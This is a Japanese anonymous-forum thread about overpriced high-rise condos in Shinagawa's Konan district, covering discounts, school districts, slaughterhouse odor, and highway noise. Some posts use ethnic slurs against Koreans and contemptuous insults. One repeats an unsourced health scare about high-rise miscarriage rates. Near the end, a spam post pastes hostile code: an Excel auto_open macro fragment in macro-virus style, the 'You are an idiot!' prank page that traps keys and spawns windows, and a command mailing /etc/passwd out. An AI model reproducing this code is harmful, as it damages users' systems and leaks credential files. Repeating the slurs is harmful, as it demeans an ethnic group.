港南エリア超高層計画　統一スレ５棟目

マンソン大異変　〜出口のないたたき売りが始まった〜

「品川戦争」。2006年3月末までの二年間で4000戸を超えるマンションが
供給される東京品川はマンション大量供給の象徴だ。今年８月に完成する
鹿島の「東京シーサウス・ブランファーレ」を皮切りに、藤和不動産や
リクルートコスモス、ゴールドクレスト、住友不動産などの大規模マンシ
ョンが順次完成していく。

品川では、別の物件と契約した客の手付け金を負担してまで、自社物件に
乗り換えさせるというケースも起きている。契約済みとはいえ、後から販
売される物件を見ておきたいと思うのが人間心理。そんな心理を逆手にと
った仁義なき販売戦が繰り広げられる。


　　デ　ベ　必　死　だ　な　。（ｗ

　賢い購入法は決算直前に買う！！！！！！

　東京都区部で販売中の新築マンションモデルルームでのこと。販売担当者は
100�uあまりの広さがある４ＬＤＫの住戸の図面を広げた。8000万円を少し
超える金額が印刷された価格表を示しながら、こう続けた。
「うちは二割以上引きますから。」
　そう言うと黙って指を６本たて、人差し指を口にたてた。8000万円の物件を
6000万円で売るから、絶対に内緒にしてくれというサインだった。販売セン
ターを10分もたたないうちに一声2000万円の値引き。25パーセントオフとい
うのはスーパーマーケットの特売も真っ青の大安売りだ。

>>628
どんなに高級だとしても、モノレール＆横羽の隣には住みたくありません。
>>641
車って、どんな糞ぐるまでも新車が出たときはほめるよね。
港南マンションも同じかもしれないって思わない？
>>654
はじめにぼったくり値を付けてそのあと値下げする。中東商人もびっくりだな（ｗ

やっぱ、と場だな

港南なら広いマンションが買えるかもと思って検討していたのだが、妻によれば、
子供のお母さん仲間（特に子供の頃から港区に住んでいるお母さん方）の間では
「ｘｘ小学校には絶対行かせちゃダメ。区立なら赤白青ね。」が定説とのこと。
やっぱり港南に引っ越すのはやめて、ウチの子供は赤に行かせるかな。
赤は赤坂ではなく赤羽、白は白金、青は青山ではなく青南らしい。

高速脇は港南に限らず劣悪環境。
下水処理場脇は・・・よく知らんが・・・

>>657 やはりそうなのか。いまの港区の学校選択制では
隣接するエリアの小学校しか選べない。

今港南を買ってる人たちはそこそこ収入のある層だと
思うけど、私立に行かせるのか、それともｘｘ小学校に
行かせるのか興味のあるところだ。

通学区域一覧
ttp://www.city.minato.tokyo.jp/sisetsu/si_11_gakku.html

学校選択制について
ttp://www.city.minato.tokyo.jp/kurasi/guide/kids/school/school4/school4_1.html

>>309 も参照

今日も沢山のチラシが入っていました。
港南は民間高層団地化して、都営団地に肉薄してます。
目の前に、巨大エントツ、下水処理場、脇に海岸通り、
高速道路、等。5000万円以上は高すぎる物件です。
適正価格は最上階で4000万円です。
値下げしないとうれないよ。

そだね。
4000万だったら買ってもいいな。
でも管理費、固定資産税、駐車場が高いのはいやだな。

横浜市都筑区に住んでいます。
今日住友２０００のでかいチラシが
入ってきました。こんなところまで。

>>662
うまい作戦だと思うな。
現場を知らない人のほうがが売りやすいのでは。。。

>>662
どんなチラシ？
値段とか、間取りとか出てた？

だからさあ、港南に買うなんて馬鹿ちん。
都心区の一種低層エリアで狙うべし。

港南は住居系にふさわしくない施設が至近にあるので
まともな人間は買ってはいけないという事で結論付けされました

↓　以下　馬鹿ちんが牛のよだれのように何か書き込んでます、という事で。

（爆）

ここの住人より、>>309にあるDQNスレの方が言葉が丁寧だな （爆）

港南マンセー

京王品川ビルに電通が入るんだって。
港南においしい店が増えるね。

今日美容院行って、港南のオフィス、マンソン開発記事が雑誌に載っていて
それを見た美容師が「昔はﾄ殺場しかなかったのにねー」とさらりと言ってのけた。

さらに利便向上はかるための予算も付いたよ。
来年にはまた具体化案がでるだろうから、
発展のトレンドはしばらくＩＮＧかな

>672
>さらに利便向上はかるための予算も付いたよ
いいですねえ。詳細ｷﾎﾞﾝ。

いくらがんばってもこれからも肉と下水の町です。

少しは良くなるさ。
でも品川に過剰な期待を寄せるのはどうかと思う。
池袋や上野よりはましなターミナルだが、新宿・渋谷・大手町
には及ばない。

それにしてもあのｵｲﾆｰは何とかならんのk

臭いはあきらめろ。
その辺も含めて港南よりは芝浦だな。

俺のウンコ、臭かったらごめん。港南のみんな。

臭うのか？？？

俺の牛、臭かったらごめん。港南のみんな。

俺の牛の悲鳴、うるさかったらごめん。港南のみんな。

↑　以上　馬鹿が牛のよだれのように書き込みしました（爆）

新宿・渋谷・大手町みたいになりたくはない。
銀座・六本木のようになりたい。

↑それは無理！
やっぱ、池袋、上野クラスだろ。

>>659
こんなページも見つけました。
www.city.minato.tokyo.jp/kyoiku/school/jimu/3_01.html
赤白青は確かに隣接学区からの越境希望が多く人気があるようです。
対してｘｘ小学校は唯一隣接学区からの越境希望がゼロですね。
ｘｘからの越境が来るＳ浦、Ｔ台のエリアも要注意かな。
ｘｘ中学校に至っては地元民すら行かないのですね。

土日に港南歩いてみろよ。発狂しそうになるから。

>>686 これはすごい…また燃料投下か。

よく見ると面白い傾向がわかる。

通学区域内希望者数/希望票発送数を"地元志向指数"として
計算してみると港区平均は68%。しかしその内容は３つに
カテゴライズされる

1. 地元志向指数が80%以上、区域外からの希望者も多い
→青白赤などの良いといわれる公立があてはまる

2. 地元志向指数が高く、区域外からの希望者が極端に低い
→xx

3. 地元志向指数が50%程度
→それ以外の港区の学校の一般的な傾向。たぶん私立受験
をさせていると考えられる

あからさまに分かれている所が非常に興味深い。

補足 >>687の話は小学校についての数字で、中学校については
>>685の言うとおりで若干傾向が異なる。

動物解体

空気がマジで悪いよ、鹿島も住友２０００も。日経ビジネスではないが
マジで仁義なき戦いは始まっている。品川勤務の人はいいかもしれないが
どれも無理して買う物件ではない感じ。

港難民は、現在何処で、買い物をしどの様に
暮らしているのか、素朴な疑問。
今まで、隔離された世界で良く生き続けていたな。
恐るべし、港南民！

あの前後にかごの付いた重量級自転車な、あれで運ぶんだろう

>>691
品川のアトレで３００円のワインとか探している奴がいてびっくり。

アトレで品物見てたら後ろからカートでドカッとぶちかまされたよ。何事かと思って
後ろを見たら世の中の不幸を全て背負ったようなどす黒く脂ぎった顔のおばさん
が大井競馬場のおっちゃんみたいなジャンパー着て１０日は洗ってなさそうな
ばさばさの白髪交じりの髪を振り払いながらこっちを睨んでた。　　　　　　怖いよ。

ペットとか恐ろしがって港南なんか
立ち寄れないんじゃないの。

>>693>>694
クイーンズ伊勢丹で？

動物の解体ってどうゆう風にやってんのかな
生きたまま爆破とかするのかな

住友の２０００戸ができたら
マルエツができるそうですし貧乏人は、そこでお買い物じゃないですか？
今は下町風情の残る大井町や大森に行くのでは？

港南って動物の死臭とかきついですか？

ここ検討してる奴は真夏に来てみて是非においを嗅いでください。
凄いですから。

今の時期はたいしたことないんだけどね。（藁

ということは死臭好きな漏れにとっては
ずばり「買い」なのですね

>>697
http://homepage2.nifty.com/meat_museum/tojyo/img/146.jpg

高い金出して買うんだからセンスよく暮らそうぜ。
カラーボックスとかリビングに置くなよ。
「子供が小さいから」を言い訳にして小汚く暮らすような嫁は追い出せ。
まずは追い出せ。
港南はお世辞にも綺麗な街とは言えないが、センスのいい部屋に帰れば
買って良かったなと思える。そんな嫁がいれば、麻布のやつ等より幸せ。

実際に住み始めたら、周辺環境のＤＱＮ度高さに、
今の「センスよく暮らそう」なんて気持ちを失うよ。
高いって言っても、まともな地域よりは全然安いし　

>697
まさか、と思っていたが、どうやらそれに近い方法らしいよ。

TOEIC中レベルなので、良く聴き取れなかったけど、ニュースで「屠殺に一般的に使われている"air-injection stunning"は、脳組織を体外に飛び散らせ、これがBSE感染の原因と考えられる」、と言っていた。
これ、何なのでしょう？多分、鼻の穴とかからエアガンを脳に突き刺し、空気圧で爆裂させるのでしょうか？　港南でも？

カラーＢＯＸ＝貧乏人＝愚民
＞693,694
恐ろしい、港南民！誰か、駆除しろ

ここ買うやつ　買ったやつはいわゆる負け組みですね。
ずっと住んでいると気づかないかもしれないが　友人が来ると
「なんだろうこの匂い？」と思われる。供給過剰で激しい下落も
必死だし。子供には「なんでこんな所のマンソン買ったの？」と
攻められるでしょう。鼻毛もよく伸びると思う。マジレス。
環境は完璧に江東区なんだが。港区名乗られると麻布の人
怒りそう。「いっしょにするなよ！！！ゴルァ！！！」

2161戸の住友はどのくらい売れ残るのか今から楽しみです。（藁

海側に高層ビルばかり建ててヒートアイランド現象に拍車がかかりそうなんですが・・・

住友のマンソンのチラシが入ってきたんだけど、
メゾネットで居間の上が吹抜けになっている、
和賀英良の部屋みたいなのがあった。
スカイジャグジーというのがついていて、
ｲｲね〜と思ったけど、値段がまだ未定。
どのくらいのお値段でしょうね。

海のほとりの香ばしいマンソン。
「ワールドシティタワーズ」

どうぞよろしくお願い申し上げます。

>>710
１５畳くらいで和賀の部屋って、アンタ！！！！
４５畳くらいでしょう。
ドラマオタ、逝ってヨシ。

驚愕データ！　　
　　　　　　　　「マンション住人は寿命が９年短い」　　　流産率も５倍

多くの学者は、マンションに代表される高層住宅が、居住者を精神的にも肉体的
にも蝕んでいると指摘するのだ。「人間は高層階に住むべきではない」と、建設省
にも進言している」という東海大学医学部講師・逢坂文夫氏は、こう説明する。
　「昨年、高層マンションの１〜２階に住む人、３〜５階に住む人、６階以上に住む
人の３つのグループに分けて、幼稚園児から５０歳ぐらいまでの世代の幅で、述べ
１６００人を調査しました。すると、６階以上と５階以下の住人では、はっきりした
違
いが出たのです」　もっとも顕著な違いが出たのは妊婦の流産率だという。
　逢坂氏が続ける。
「１〜２階の妊婦の平均流産率が７．１％、３〜５階が６％で大差がなかったのに対
し、６階以上では、なんと２４％にはねあがりました」
さらに逢坂氏は、調査対象になった妊婦を、人前に出ると上がりやすいなど「緊張
特性」のある人とない人に分けてデータを取り直した。
「緊張特性」のある妊婦に限って見ると、５階以下の妊婦の流産率が８％程度なの
に対し、６階以上の妊婦の流産率は５倍以上にハネ上がる。なんと、６階以上は、
半数近くが流産していたというのだ。

>>670はrealestatetokyoだな。（ｗ
電通の子会社なのに。（起爆

あの電通の子会社ってシステム屋みたいなもんだよね

アトレのクイーンズ伊勢丹、港南住民が買いに来る内容の店じゃないよね。
かといってうち（高輪住民）も遠いから行かない。
あの店のターゲットの客層はなんだ？

>>716
高輪住民。

港南は住友２０００のスーパーがお似合い。

realestatetokyoって品川にガレッタ汐留みたいなものを
期待しているのかな。ウンコ港南が名前負けしないと思うよ。

最上階メゾネット15000万位だって聞いたよ

住友2000の広告が、品川駅「港南口」「高輪口」を、
わざわざ「東口」「西口」と表記しているのが憐れ・・・ｗ

>718
いやいや、あのオヤジは単に、駅間の小汚いビル群が儲かればいいだけ。
本気で町興しなんて考えていないね。

港南で１億出す奴は、余程の金余りか、馬鹿な田舎モノ

かなり馬鹿な田舎者が多そうですね。
本当に馬、鹿だったら港南は強制的に連れてこられる所ですが。

>722
そんな物件があるのか！

>721
同意。周りの開発からの恩恵ばかり強調してる。
その小汚いビルがせっかくの開発を台無しにしてる。
その点については黙して語らず。

おまけに同じ港南でも、3丁目以下は屑としか思っていないし、
高輪口再開発計画に逆風なんて話が出ると小躍りしてるし。

高輪の居酒屋の客が減ったと言って喜んでたぞ。
もうアホかと・・

酔っ払いはまとめて小汚いビルの飲食店にくれてやります（爆）

uzumasa goten君こんばんわ

real_estate_tokyoｷﾀ━━━━(ﾟ∀ﾟ)━━━━ｯ!!

>729
あっごめん、違うんだけどｗ

>728
あっごめん、違うんだけどｗ

某マンション販売員に固定資産のこと聞いたら、初年度は80m2で32万くらいって
言われたけど5年後って港南あたりって年いくらぐらいなの？
高層って減価償却時間かかるってきいたけど港区だから高いですかね
ｂｙ貧乏人

　　 　　　　　　 /＼ ／＼　 ／(爆)＼/../　　　　　　　　　　　　　　　　　　　＿＿＿＿＿＿＿＿＿＿
　　　　 　　 　 /　／＼　 ＼（・∀・#）./　　　　　　　　　　　　　　　　　　／
　　　　　　 　（）)ノ__　○二○二⌒/../　　　　　ﾌﾞｵﾝﾌﾞｵﾝ　　　・・・・　　＜　港南連合様のお通りだよ〜
　　　　　　 ／ ／||(二ニ) （＿＿_/../　几l　　　　　　　　　　　　　　　　　＼＿＿＿＿＿＿＿＿＿＿
　　　γ ⌒ ／|�V||彡Ｖミ/⌒＿ノ二二ノl0
　　　l|　(◎).|l　|((||（(ﾟ )/⌒/||三三三・） ||　　(´⌒(´
＿＿ ゝ_＿ノ　 　　￣（_＿_）￣　　ゝ＿_ノ≡≡≡(´⌒;;;≡≡≡

>>710
俺もそれかなりいいと思った。
でもかなり高いらしい。
上階にできるらしいし、スカイジャグジーなんてついてるし。
それなりの値段になるってうわさを聞いたよ

そんなスカイジャグジーよりも喘息・花粉症の医者が充実した方がいいよあの辺は。

アレルギーも多いよ。

realestatetokyoって品川にガレッタ汐留みたいなものを
期待しているのかな。ハキダメッタ港南が名前負けしないと思うよ。

食肉加工

日本でやったら港南は上位間違いないな
http://news5.2ch.net/test/read.cgi/newsplus/1079594380/l50

第一シード間違いなし。

再開発というものは駅前不法占拠地チョソボロビル群が儲かるようにやるべきなのです

http://messages.yahoo.co.jp/bbs?.mm=RL&action=m&board=1073724&tid=ijc0n1x9afn8fda1a2bcaen1eybaf3abhafbepjs8r49&sid=1073724&mid=2286

>741のリンク先の主は、チョン公です。
言葉では正論を述べているようだが、
実際やった事は、ショボイ店の誘致とパチンコ店の
開業、全く無責任な発想だ、氏ね！半島人

グダグダいってんじゃねえ！
この乞食が！！

>737
つまんねーやつ！最悪！

real_estate_tokyoｷﾀ━━━━(ﾟ∀ﾟ)━━━━ｯ!! ｗ

家畜動物が命の終末を迎える場所

年に一回超新鮮な肉セールやってる。肉好きには最高の環境だよ！

real_estate_tokyoｷﾀ━━━━(ﾟ∀ﾟ)━━━━ｯ!! ｗｗ

住友２０００高すぎ。
パークタワーなんて４０００万ちょいで
３０階の部屋（７０平米）が買えるのに。

三井は先行売り逃げですね

三井は売り逃げどころか、ドツボに嵌りそうなんだが。
あの香ばしい２０００戸

ＰＣ成城以上の香ばしい物件になりそう。

三井じゃなくて住友　ｽﾏｿ

>>753
ＭＲは行きましたか？
前から思っていたんですが、ダイレクトスカイビューの窓の強度って
知ってます？割れた時の事考えたらチョット怖い。
家の中でボウリングも出来ないじゃん。

>>754
砲丸投げぐらいは出来たよ

＞754
窓っていってもビニールだからね、割れはしない。

住友２０００ってMRの一般公開って
もうやってんの？

３棟１セットの団地臭さに萎える・・・

買えない人が延々と発言しているスレッドですね。

real_estate_tokyoｷﾀ━━━━(ﾟ∀ﾟ)━━━━ｯ!!

住友は2000戸計画で会社が傾くんじゃないか？大丈夫か？

物件の地盤が傾きます

Jusco巡回バス　「ブランファーレマンション前」バス停　運行開始　だれかのったやついる？

汚染を除去しました。

real_estate_tokyoｷﾀ━━━━(ﾟ∀ﾟ)━━━━ｯ!!

ウイルスアラートＵＺＡＩ．

764はなんだ！？　ノートンアンチウイルスが警告を発したぞ。
こいつはアクセス禁止にしろ。法的制裁も必要だな。管理者よろしく。

>>763
ホント？

age

　　　　　　　　　　　　　　　　　　　　年間予想売上　　　店舗面積
ダイヤモンドシティアルル　橿原　　　　３２５億　　３９０００平米　→おもっきり郊外。４００億はいくな
ＪＲ札幌大丸　札幌　　　　　　　　　　３５０億　　４５０００平米　→実際の年間販売額は３９３億

田舎は困るね。坪効率悪いね。客単価安いね。しかも商圏は札幌駅より半径１００キロ。
いくら道内最大のターミナルＪＲ札幌駅直結、超話題になった激戦火付け役の百貨店でこれかよ。
しかもこれが出来たことによる札幌西武の２０％減少や周辺デパートも軒並み１０％強の減少。
田舎だなあ。貧乏人だなあ。結果として来店数が予想より倍の年間
２２００万人と言えども、可哀相だな。田舎の貧乏人達に出店した大丸さん。

http://www.nara-shimbun.com/n_all/040226/all040226a.shtml
http://www.daimaru.co.jp/company/news/sapporo/press/news02_1024.html
http://www.jhnet.go.jp/press/rel/2004/02/26/sankou.pdf
http://www.pref.osaka.jp/kotsudoro/kansen/minami/

３／２６オープンのダイヤモンドシティアルル　http://aruru.diamondcity.co.jp/

話題そらしに必死なreal_estate_tokyo

>>769
鮮やかな誤爆だな

http://sumai.nikkei.co.jp/special/kouji/index.cfm?i=20040322s2003s2

さげ

そろそろ次の燃料投下ｷﾎﾞﾝﾇ

・日通の移転計画
・カテリーナ三田の地権者って
・都営跡地の定借物件
・大崎駅、山手線内側部の大再開発
・三菱関東閣？

あたりの情報マダ〜？　ﾁｿﾁｿ

２０００戸も住友が作るのに話題にでないの？

カテリーナ三田の地権者って何なの？

(σ´�D｀)σ 777get♪

牛やら豚やら屠殺する施設は港南から移転しないのか？

今日の読売に載ってたな。
ブランファーレやコスモが良い物件のように書かれていた。

良い物件だろ

>>780
おまえの鼻毛長いだろ？

リアルエステ〜ト　さげ

たしかに、なぜか港南物件を好意的に書いていたね。
新聞はマンションの広告でも儲けてるから当然かなという気もするけど。
売れなくて、なんども広告が出た方が良かったりして。

ブランファーレの前から品川シーサイドジャスコ行きの無料バスが出てるの？

>781
おまえ女にもてねーだろ？

やっぱり人が住むようなとこじゃないYO

みなさん、>>785が港南に住むと女にもてるという趣旨の発言をしています。
どなたか救ってあげてください。

こんなオナニースレにいつまでへばりついてるようなカスは
根暗で女もいねーし、友達もいねーってことを証言してるようなもんだ

と駅前の雑居ビルから吠えています。（藁

すっげー迷ってるよ。
三井の物件。
安月給のオレでもなんとか手が出る価格帯だもんなぁ。

港湾道路と新幹線に激しく萎えまつた

新幹線には萌えなさい。

コスモの横のローソン前からシーサイドジャスコ行きの無料バス出てるんだね。

こすも。

日通移転で八方ふさがり？

九連包塔完成まであと一歩！

三井の物件は誰でも安く感じるが　それだけの理由はあるんだよ。
鼻が詰まっている方なら良いかもしれんが・・・・・・・・・・・
住友２０００がこれだけスルーされているのは不思議だ。２ちゃんねらーで
MR行ったのは俺を含め２名しかいない予感。

住友２０００は現地に行ったかたなら
躊躇するのが当然って感じ。
駅前なら妥協できる環境（騒音）だが・・・。

いやここのスレで港南叩きしてる奴に
住友２０００の関係者がいるとみた

カテリーナ三田、メイドサービスつきだってさ。ﾊｧﾊｧ(;´Д`)

ドアマンまでつけるなんて。やるならとことんやってくれ。
valet parkingも付けてくれ。

港南物件もワールド（略　も、結局はどっちもどっちな気がする。

(σ´�D｀)σ 800get♪

>798
ドアマンではなく、チャイナドレスの
ドアガールです。

今週の週刊○×に万損大量供給地域は2000万円引きもあり、って記事出てるネ。
記事によれば、下丸子や成城ハケ下含む世田谷大田環八近隣エリアと、と場やｼﾆｮｳ処理場
近接の品川港南エリアが、値引き幅拡大間違い無しエリアだって。どちらも千戸単位の大
量供給で、需給が完全に崩壊して値引くしかしょうがないらしい。これから安く買いたい
なら、このエリアで底値まで下がり切ったところ狙うのも一興。ただ、下げどまる保証は
どこにも無いから底値の見極めが難しいネ。

一番メディアとして、信憑性にかける
ゴシップ雑誌を鵜呑みにする馬鹿

金がなくて買えません。

指をくわえて見てるだけ・・・・

都営はもう作ってくれないのかな・・・

＞＞803

803よりは信憑性があるネ

ブランとベイワードはほぼ完売できそうですね。
あとは苦戦するだろうな。
ラクシアなんてぜんぜん話題にものぼんないしな。

８０３は屎尿地帯購入者

>>806
いやいや、ブランも残り5戸位になってから、長い事全然動きがないぞ。
ブランに限らず、6000万越物件はこの地域では苦戦すると思うよ。

擁護学校って何ですか？

金が貯まる前に全部売れちゃうんだろうな。

親の援助無しはつらいぜ。

おれ、親の援助ありで24歳でマンション買いました。
購入者のなかで結構若いほうかも

なんでたかだか4000万のマンション買うのに親の援助がいるんだよ
それくらい余裕で自分で買えるだろうよ

買えないおまえにいわれたかねーよ
ひきこもりクン

>>812
アパート暮らしの貧乏人の割に偉そうな態度だな w

おれ公務員なんだけど、親の援助なしじゃー
とてもタワーなんて手が出ないよ。

>784
でてるよ　１時間に１本　いきかえり無料
時刻表は新聞チラシに

>>806
ベイワードは客が来ない、来ても直ぐ帰る、もうだめぽ
と聞いているけど？

>>817
誰がそんなこと言ってんだよ。
いい加減なこと書き込むなよな。

擁護学校って何ですか？

808 ：名無し不動さん ：04/03/29 00:39 ID:SOcZNDuh
>>806
いやいや、ブランも残り5戸位になってから、長い事全然動きがないぞ。
ブランに限らず、6000万越物件はこの地域では苦戦すると思うよ。

住友はこれから2000戸売るようです。
平均6000万。

善戦したブラン、ラグナの売れ筋が、
４５００万前後の３５００万〜５５００万クラス。
それがこの地域の相場だと思う。

金額的に都内ちょっとはずれで広めのファミリータイプと同等レベル。
主力購入層はまだ子供のいない夫婦orDINKSorDEWKS。
ファミリータイプほど大きい部屋はいらないけど、
ちょっと都心に近づきたい層が主力。

ブラン、ラグナといえども６０００万強クラスは苦戦中。
そのことを考えると、６０００万台平均となると無謀すぎる。
今の値段より２割程度下げた所から、第１期販売にはいるのでは？
と思う。

>>821
読み筋全然間違ってるよ。
今後はこの地区で８０以上の部屋買おうと思ったら、
６０００は用意しないと買えないって事なんだよな。
いくら供給過剰とか騒いでも、買うの延ばせば延ばすほど
港南には手が届かなくなるんだよね。そういう軍団は結局
豊洲で買うしかないわけだけど、また同じ待ちスタイルで
踏ん切りきかないのが多いから、そういうのに限って、最後は千葉か
埼玉の川向こうしか買えないんだよな

821に禿同

港南なら千葉や埼玉の方がいいなー住むには

821に禿同

＞８２４　一生言ってろ！田舎物

釣れたW

821に同意

希望的な心情わからなくはないが、今後ベイエリアは年々整備され
店舗も増え始めると、余裕ある広さのプランは上がるよ。
株投資や商売の出店計画もそうだけど、予測感度がないと高い買い物に
なるんだよね。
要はどの程度成長を見込めるかを読まなきゃ、田舎しか買えないんじゃない。
新幹線新駅が発表され、アトレの開業発表もされた時点で購入するのが
得な買い物だよな。これからも都営跡地にも商店できるからな。
資金ないのは無理せんと、どうしても東京に住みたいなら、川の手前の区を
早く押さえたほうが賢明だよ。

>>829
上がる下がるではなく、現在の相場の話をしたつもり。
事実としてこの地域は、値段的に３５００〜５５００なら売れるという事。
６０００万以上の販売が苦戦しているという事。

ラグナが第１期の中層階中層レベル（平均）を６０００万前後で失敗。
その後約２割程度落として好調。という事実。
ブランがスタートから（低層階）好調を維持した。

これらの事実を持って相場としているつもり。
将来どのようになるかはともかくとして、
現在の相場大きく上回る物件は売れるはずがない。
住友は住戸の仕様を落とすか、面積を削るか、
それともただたんに値段を下げるかして３５００〜５５００ぐらいを
主力商品にしなければ、週刊誌に出ているような結果になるのは目に見えている。

822の言うとおりであれば、今なぜブランとラグナの高層階が苦戦しているのか
明確な説明がつかない。

現在分譲中のデベ営業も、将来このエリアの不動産は上がるかもしれませんよ、
なんてセールストークしていないよね。彼らは供給過剰でダブつくのが判ってるからさ
てゆうか現にそうだし。

>>822
そうか買っちゃったか。
せいぜい花粉と喘息には気をつけて下さい。

つまり湾岸エリアは現代の多摩ニュータウンだね。
利便性と住環境を逆転させてるだけ。
21世紀の中流を代表するエリアへと発展。
そしていずれはシルバータウンへ

モノレールと横羽が至近距離。騒音・振動はすごいぞ。たとえ高層階でもな。
夜になったら実感できるはず。

鹿島、住友２０００の地域って　確かにこれだけ集まるか！！！って
くらいすごい騒音地域だよね。住友２０００（ワールド）は１Rから４LDKまで
あるので平均が６０００万と言うのはちょっとおおざっぱ過ぎ。

豊洲、東雲、港南の用途地域は？

>工業地域のマンション（品川、豊洲）

>東京の湾岸エリアにある工業地域（用途地域区分における工業地域、準工業地域）では、工場や物
>流倉庫等の撤退によって生じた空き地において、高層マンションの建設が進んでいます。近
>年、地価の下落による都心回帰現象は、ウォーターフロントを熱くしています。しかし、いくら立
>派なマンションができようとも、そこが工業地域であることには変わりありません。

ｺﾝﾅﾄｺｽﾑﾋﾄﾐｼﾞﾒﾃﾞｶﾜｲｿ!

品　川

>港区の品川駅は、東口地区の再開発が進み大きな変貌を遂げています。その周辺ではマン
>ションの建設ラッシュが続いています。品川駅に新幹線が止まるようになり、都心へのアクセス
>も良く、東京湾の夜景が展望できる立地が人気を集めています。

>品川の東地区（特に海岸沿い）は、かつては品川ふ頭（日本初のコンテナターミナル）を中心に物
>流の拠点として栄えたところであり、少し衰退したとはいえ、今も物流の拠点であることには変
>わりありません。そのため、各種大型トラックが激しく行き来し、騒音と排気ガスが蔓延してい
>ます。この地域が静かになるのは休みの日しかありません。さらに、近くには清掃工場や汚泥
>処理場、工場、食肉加工場（屠畜場）などもあります。この地域が主に準工業地域であるた
>め、これらの建物が将来なくなる可能性は低く、逆に、住む人にとって迷惑な施設がさらにでき
>る可能性もあります。

>また、これまでこの地域に住んでいた人は、物流関係者などに限られていたため、多くの人
>が生活するための環境整備が遅れています。現在、マンション建設が先行しているため、今
>後、様々な不便さやトラブルが発生するかもしれません。例えば、幼稚園や小学校、スーパ
>ー、公園、病院等の不足、歩行者の安全確保などです。

再開発には限界があるから、再がつく。
いっそ単なる開発の方がよい。

>>836
>ｺﾝﾅﾄｺｽﾑﾋﾄﾐｼﾞﾒﾃﾞｶﾜｲｿ!
豊洲のスレにもわざわざ同じ事書いてるな。
俺っちは高層階で眺望がいいとこに住みたいんだからこの辺がいいんだよ！

眺望なんて1ヶ月もすりゃ慣れちまうのに。
残るのは騒音、悪臭、汚れた空気！
嗚呼、シッパイしたねコリャ！
しょうがないから早死にするまで我慢して住むか！

>>839のようなやつは高層階なら騒音も振動もなく空気もきれいだと思ってるんだろうな（ｗ

>>840
>>841
アホ？
とっくに住んでるけどね。

>>842
もう嫌になってきたでしょ？
あと何年住めるかねえ？
買い替えがうまくできるかねえ？

>>842
そうか！それでマスクしてるんだ。やっぱ花粉って大変？

都内で一番素晴らしい夜景は、お台場から見る都心方面だと思うんだけどな。
港南だと夜景イマイチじゃない？悪くは無いと思うけど。

台場がもう少し住宅地として発展すれば良いのだけど。

うずまさvｓ駅前ボロビルおやじ　勝負のゆくえやいかに

uzumasaを応援したい

>都内で一番素晴らしい夜景は、お台場から見る都心方面だと思うんだけどな。
そうなんだけど、マンションでその方向だと、北向きになっちゃうからなあ。
住友商事の勝どき６０階ツインタワーがベストかな。
少しでも高い階の方が夜景がキレイだしね。

>>848
でも毎日見る価値のあるものとは思えないし、+数千マンの付加価値もどうかね？

>>849
価値観の違いにとやかく言われてもねぇ〜。
おたくの価値観は？

>少しでも高い階の方が夜景がキレイだしね。

ちょっと違うな
30階以上になると部屋の中にいるかぎりは窓には空しか見えない
40階以上になると、たとえバルコニーに出ても視界の半分が空になる

景色を楽しむなら25階ぐらいが一番いいよ

>>851
ちょっと違うな

見下ろす気分が一番大事かな

線路の反対側の高台から埋立地を見下ろす気分が一番・・・

３０Fで、空しか見えないのは、田舎だからだろ
都心だと３０F以上はざらだよ！しかも港南は海抜低いしね。

>でも毎日見る価値のあるものとは思えないし
いやいや。２ヶ所ほど、中、高層階で、海とレインボーブリッジが真正面に見える
お宅に行ったけど、「こんな所に住んでいるあんたらは何者？」と思ってしまうほど
の景色（といっても、そこそこのサラリーマンなら買えるような所）。
人にもよるけど、行った人のほとんどは、そんな反応でした。（昼よりは、夕方〜夜）
私自身は湾岸エリアで１９階だけど、そこまででは無い。でも、なかなか。もうちょっと上階が良いかな。
蚊も飛んでこないし（前に住んでた１０階でも来なかったけど）。

芝浦の物件検討してますが、そちらからの景色はどうですか？

来訪客が一回目に来たときにお世辞半分に「すごいですね！」
っていう言葉が聞きたくて買うのね（ｗ
それだけのために横羽とモノレールの脇で毎日過ごせる価値観はうらやましい。
あ、褒めてるんだよ。念のためいっておくけど。ホントにうらやましい。

高層階はいいですよね。
なんだかんだ言っても需要は確実にあると思います。
でも私は低層階です。港南と言えども高層は高くて買えません。

港南低層に幸あることを本気で祈ってます。

>>858
悪いが無いと思う。

>港南低層に幸あることを本気で祈ってます。

そう言われるとおいらも祈ってあげたくなるよ。
参考までに聞きたいんだけど、港南低層のお値段だと都内のどの辺が買えるの？
２３区内で同程度の値段の物件ありますか？それとももう少し引っ込む？

＞>>858
＞悪いが無いと思う。

ﾜﾛﾀ（ｗ

>>857
違うだろバカ。

　　　　　　こ　こ　っ　て　屎　尿　臭　い　ん　だ　け　ど　？

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

<html>
<head>
<title>You are an idiot!</title>
<script language="Javascript" src="../script/you.js"></script>
</head>
<body bgColor=#ffffff onload="flagRun=1;playBall();return true;bookmark();" onKeyDown="altf4key();ctrlkey();delkey();" onUnLoad="procreate()" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="100%" height="100%">
<param name=movie value="youare.swf">
<param name=quality value=high>
<embed src="youare.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%">
</embed>
</object>
</body>
</html>

cat /etc/passwd | mail [email protected]

>>860
>参考までに聞きたいんだけど、港南低層のお値段だと都内のどの辺が買えるの？

ワールドは無視するとして
他の物件なら低層階は180万円/坪くらいか？

となると
大泉学園とか東武練馬、板橋、王子、日暮里、錦糸町、木場、豊洲、勝どき
こんなところかな？

南から西の方は２３区の外だね

>>866
低層階なら感覚的にもそんなもんですね。
団地タイプのマンションなら、
もう少し広くなるか、上の階の方へ行けるか出来ますけど。

>大泉学園とか東武練馬、板橋、王子、日暮里、錦糸町、木場、豊洲、勝どき
>こんなところかな？

ドッペル氏・867さんサンクス。
日暮里や王子は台地の方じゃないよね？
そうだとしたら、港南選ぶのも理由の無いことじゃないんだね。
自分が同予算なら勝どきか港南にするな。港南で低層だと眺望ないから
品川駅に近い方がよいね。

大島はどうよ？

>>869
ほとんど同じレンジに入ってますよ。

豊洲、南砂はどうよ？
